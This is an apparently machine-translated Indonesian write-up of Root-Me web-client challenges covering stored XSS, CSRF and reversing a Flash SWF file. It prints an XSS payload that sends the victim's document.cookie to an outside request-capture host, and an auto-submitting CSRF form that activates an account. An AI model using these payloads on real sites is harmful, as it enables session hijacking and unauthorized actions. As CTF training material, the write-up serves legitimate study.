Otentikasi XSS, CSRF, dan Flash. Pemecahan masalah dengan r0ot-mi Web - Client. Bagian 2

gambar

Pada artikel ini, kami membajak cookie melalui Stored XSS, menangani serangan CSRF, dan membalikkan file SWF Flash. Tautan ke artikel sebelumnya:

Bagian 1: Web - otentikasi javascript, kebingungan dan kode asli. Pemecahan masalah dengan r0ot-mi Web - Client.

Informasi Organisasi
Terutama bagi mereka yang ingin mempelajari sesuatu yang baru dan berkembang di bidang informasi dan keamanan komputer, saya akan menulis dan berbicara tentang kategori berikut:

  • PWN;
  • kriptografi (Crypto);
  • teknologi jaringan (Jaringan);
  • membalikkan (Reverse Engineering);
  • steganografi (Stegano);
  • pencarian dan eksploitasi kerentanan WEB.

Selain itu, saya akan membagikan pengalaman saya dalam forensik komputer, analisis malware dan firmware, serangan pada jaringan nirkabel dan jaringan area lokal, melakukan pentest dan menulis eksploitasi.

Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya membuat saluran di Telegram dan grup untuk membahas masalah apa pun di bidang ICD. Juga, saya pribadi akan mempertimbangkan permintaan pribadi Anda, pertanyaan, saran dan rekomendasi secara pribadi dan akan menjawab semua orang .

Semua informasi disediakan hanya untuk tujuan pendidikan. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang disebabkan seseorang sebagai akibat dari menggunakan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.

XSS Disimpan


gambar

Pada penugasan, kita perlu mengambil cookie admin. Kami membuka situs. Kami melihat formulir di mana Anda harus memasukkan judul dan pesan. Mari masuk untuk melihat bagaimana input kami ditampilkan di formulir.

gambar

gambar

Jadi Mari kita coba periksa XSS. Sebagai muatan, saya akan menggunakan peringatan biasa.

<script>alert(1);</script> 

Seperti yang Anda lihat, jendela peringatan ditampilkan kepada kami, yaitu kode javascript tertanam berfungsi.

gambar

Karena ini disimpan XSS, dimungkinkan untuk membajak cookie pengguna lain. Jika Anda tidak memiliki server sendiri di jaringan global, maka Anda dapat menggunakan situs ini .

gambar

Di sini kita diberi alamat untuk mengamati semua permintaan ke alamat ini. Sekarang perkenalkan payload berikutnya.

 <script> document.write("<img src='https://en0q0bu21ne0wq.x.pipedream.net/?cookie=" + document.cookie + "'></img>"); </script> 

Ketika pengguna membuka halaman dengan kode ini, agen akan mencoba mengunduh gambar dan menjalankan permintaan di alamat ini. Dia akan menggunakan cookie-nya sebagai parameter. Kami kemudian melihat parameter dengan mana permintaan itu datang - ini akan menjadi cookie.

gambar

Mengapa membajak cookie berbahaya? Dengan memasukkan cookie untuk situs ini di browser kami, kami akan memasuki situs atas nama pengguna ini, melewatkan proses otentikasi.

CSRF


gambar

Saat penugasan, kami perlu mengaktifkan akun Anda. Mari kita lihat situsnya. Kami dipenuhi oleh formulir otorisasi.

gambar

Kami memilih pendaftaran, dan mendaftar di situs.

gambar

Kami diberitahu bahwa kami akan mendapatkan akses penuh ketika admin mengaktifkan akun kami.

gambar

gambar

Ketika Anda mencoba untuk mencentang kotak sendiri, kami mendapatkan pesan bahwa kami bukan admin.

gambar

Tetapi kita dapat menghubungi administrator, yaitu, dia akan membuka halaman. Arti CSRF adalah bahwa pengguna melakukan tindakan tanpa menyadarinya. Artinya, kita bisa memaksanya untuk mengirimkan formulir yang sudah diisi. Mari kita periksa apakah ada token yang diatur dan diperiksa oleh server - sebagai perlindungan terhadap serangan tersebut. Setiap kali berbeda.

gambar

Tidak ada token. Bentuk payload ini akan keluar dari form ini.

 <form id="form" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data"> <input type="text" name="username" value="ralf"> <input type="checkbox" name="status" checked > <button type="submit">Submit</button> </form> <script>document.getElementById("form").submit()</script> 

Ini formulir yang sudah diisi dengan data kami, dengan tanda centang yang diaktifkan. Kode Javascript akan mengirimnya setelah memuat halaman, masing-masing, atas nama administrator yang melihatnya.

gambar

gambar

Setelah beberapa waktu, kami menyegarkan halaman. Akun kami telah diaktifkan.

gambar

Flash


gambar

Kami perlu menemukan kode yang valid. Mari kita buka halamannya. Kami bertemu dengan semacam mekanisme kode.

gambar

Mari kita lihat kodenya.

gambar

Kami melihat bahwa kode yang dikonversi diperiksa pada JS, yang kami perkenalkan. Masih mencari tahu algoritma konversi. Juga dalam kode ada tautan ke file swf. Mari kita unduh.

gambar

Kami melihat bahwa ini adalah Macromedia Flash terkompresi. Untuk membalikkan file seperti itu, saya lebih suka menggunakan JPEXS.

gambar

Kami menemukan skrip utama.

gambar

Mari kita pisahkan.

gambar

Itu memuat data dari skrip bersarang lain, menggigit mereka dengan kunci dan mengirimkannya untuk eksekusi. Ayo lakukan. Pertama kita temukan data ini.

gambar

Dan kemudian ekspor ke file terpisah.

gambar

Sekarang proxor mereka dengan kuncinya.

 f = open('1_RootMe_EmbeddedSWF.bin', 'r') swf_crypt = f.read() f.close() key = 'rootmeifyoucan' swf_decrypt = '' for i in range(len(swf_crypt)): swf_decrypt += chr(ord(swf_crypt[i]) ^ ord(key[i%len(key)])) f = open('NewEmbedded.swf', 'w') f.write(swf_decrypt) f.close() 

Kami mendapatkan file baru. Buka di JPEXS.

gambar

Kami menemukan skrip utama dan mulai menganalisis.

gambar

Karena Anda masih harus menulis kode. Saya akan menerbitkan sebagian dari itu.

 but1 = 11266775 but2 = 11146309 but3 = 7884889 but4 = 8049718 Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe' 

Di sini kita melihat kode setiap tombol dan lokasinya di koordinat. Ini akan membantu kami memahami tombol mana yang memiliki kode mana.

gambar

Kita belajar dari ini bahwa panjang kode harus sama dengan atau lebih besar dari 12. Dan nilai akhirnya adalah hash MD5 dari string terbalik.

 from hashlib import * import itertools for var in itertools.product('1234', repeat=12): ... ... if len(code) >= 12: break h = md5(code[::-1].encode()).hexdigest() 

gambar

Alih-alih menggambarkan, saya hanya akan memberikan kode ini di python'e.

 code = "" for char in var: if char == '1': code += format((but1 >> 16 & 0xFF), '02X') elif char == '2': code += format((but2 >> 8 & 0xFF), '02X') elif char == '3': code += format((but3 >> 0 & 0xFF), '02X') elif char == '4': if len(code) > 1: code = code[0:-1] 

Jadi, kita perlu memilah 4 ^ 12 = 16777216 opsi. Agak.

 from hashlib import * import itertools but1 = 11266775 but2 = 11146309 but3 = 7884889 but4 = 8049718 Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe' for var in itertools.product('1234', repeat=12): code = "" for char in var: if char == '1': code += format((but1 >> 16 & 0xFF), '02X') elif char == '2': code += format((but2 >> 8 & 0xFF), '02X') elif char == '3': code += format((but3 >> 0 & 0xFF), '02X') elif char == '4': if len(code) > 1: code = code[0:-1] if len(code) >= 12: break h = md5(code[::-1].encode()).hexdigest() print("Password: %s, code: %s" % (var, code)) if h == Hash: print('Correct password:' + "".join(var)) Break 

gambar

Punya kata sandi dan kode.

Lebih jauh dan lebih rumit ... Anda dapat bergabung dengan kami di Telegram . Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.

Source: https://habr.com/ru/post/id477254/


All Articles